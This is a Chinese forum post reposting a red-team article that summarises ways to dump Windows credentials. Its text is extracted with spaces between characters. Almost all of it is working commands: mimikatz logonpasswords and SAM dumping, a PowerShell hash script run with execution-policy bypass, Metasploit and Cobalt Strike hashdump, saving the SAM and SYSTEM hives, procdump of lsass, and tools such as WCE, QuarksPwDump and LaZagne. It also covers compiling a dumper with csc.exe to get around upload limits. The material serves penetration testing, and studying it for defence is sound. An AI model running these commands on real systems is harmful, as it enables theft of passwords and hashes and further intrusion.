设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [18403] 2021-08-08_红队攻防之抓密码总结
返回列表 发新帖
查看: 0|回复: 0

[18403] 2021-08-08_红队攻防之抓密码总结

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-08-08_红队攻防之抓密码总结 红 队 攻 防 之 抓 密 码 总 结 H A C K 之 道   2 0 2 1 - 0 8 - 0 8 以 下 文 章 来 源 于 乌 雲 安 全   ， 作 者 b u f f e r 0 x 0 1   在 线 抓 密 码 在 线 抓 密 码 ( 1 ) m i m i k a t z p r i v i l e g e : : d e b u g t o k e n : : w h o a m i t o k e n : : e l e v a t e l s a d u m p : : s a m m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l o g "   " s e k u r l s a : : l o g o n p a s s w o r d s " 乌 雲 安 全 乌 雲 安 全   . 乌 雲 安 全 ， 致 力 于 红 队 攻 防 实 战 、 内 网 渗 透 、 代 码 审 计 、 社 工 、 安 卓 逆 向 、 C T F 比 赛 技 巧 、 安 全 运 维 等 技 术 干 货 分 享 ， 并 预 警 最 新 漏 洞 ， 定 期 分 享 常 用 渗 透 工 具 、 教 程 等 资 源 。
( 2 ) p s 脚 本 p o w e r s h e l l   - e x e c   b y p a s s I m p o r t - M o d u l e   . G e t - P a s s H a s h e s . P S 1 G e t - P a s s H a s h e s
( 3 ) m s f r u n   h a s h d u m p h a s h d u m p p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / d o m a i n _ h a s h d u m p ( 获 取 域 h a s h ) u s e   m i m i k a t z w d i g e s t （ 明 文 ）
( 4 ) c s h a s h d u m p w d i g e s t l o g o n p a s s w o r d s （ 明 文 ）

0 x 0 2   离 线 抓 密 码 离 线 抓 密 码 ( 1 ) S A M （ 卷 影 副 本 、 注 册 表 ） r e g   s a v e   h k l m s a m   s a m . h i v r e g   s a v e   h k l m s y s t e m   s y s t e m . h i v l s a d u m p : : s a m   / s a m : s a m . h i v   / s y s t e m : s y s t e m . h i v   （ m i m i k a t z ）
( 2 ) l s a s s . e x e ( 注 入 l s a s s . e x e 进 程 ， 并 从 其 内 存 中 提 取 ) p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p m i m i k a t z . e x e   " s e k u r l s a : : m i m i d u m p   l s a s s . d m p "   " l o g "   " s e k u r l s a : : l o g o n p a s s w o r d s "
( 3 ) 手 工 导 出 l s a s s . d m p 文 件 使 用 任 务 管 理 器 导 出 l s a s s . d m p 文 件 点 击 创 建 转 储 文 件
0 x 0 3   其 他 工 具 其 他 工 具 ( 1 ) Q u a r k s   P w D u m p 命 令 ： q u a r k s P w D u m p . e x e   – d h l   - o   h a s h . t x t ( 2 ) W C E 命 令 ： w c e . e x e   - w （ 抓 取 明 文 ） 、 w c e . e x e   – l （ 抓 取 h a s h ） ( 3 ) L a Z a g n e L a Z a g n e   w i n d o w s
0 x 0 4   特 殊 环 境 特 殊 环 境 4 . 1   限 制 上 传 文 件 长 度 时 导 出 凭 据 的 方 法 限 制 上 传 文 件 长 度 时 导 出 凭 据 的 方 法 如 果 实 际 的 测 试 环 境 对 上 传 文 件 的 长 度 做 了 限 制 ， 这 里 给 出 的 解 决 方 法 ： 上 传 . c s 文 件 ， 借 助 测 试 环 境 默 认 安 装 的 . N e t 环 境 ， 使 用 c s c . e x e 进 行 编 译 参 考 三 好 学 生 链 接 为 了 应 对 不 同 的 测 试 环 境 ， 使 用 的 代 码 应 该 支 持 . N e t   3 . 5 以 及 更 高 版 本 编 译 代 码 C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 3 . 5 > c s c . e x e   1 . c s   / u n s a f e 导 出 凭 据 的 命 令 ： 1 . e x e   l o g   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : l o g o n P a s s w o r d s   f u l l "   e x i t
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:41 , Processed in 0.269200 second(s), 32 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表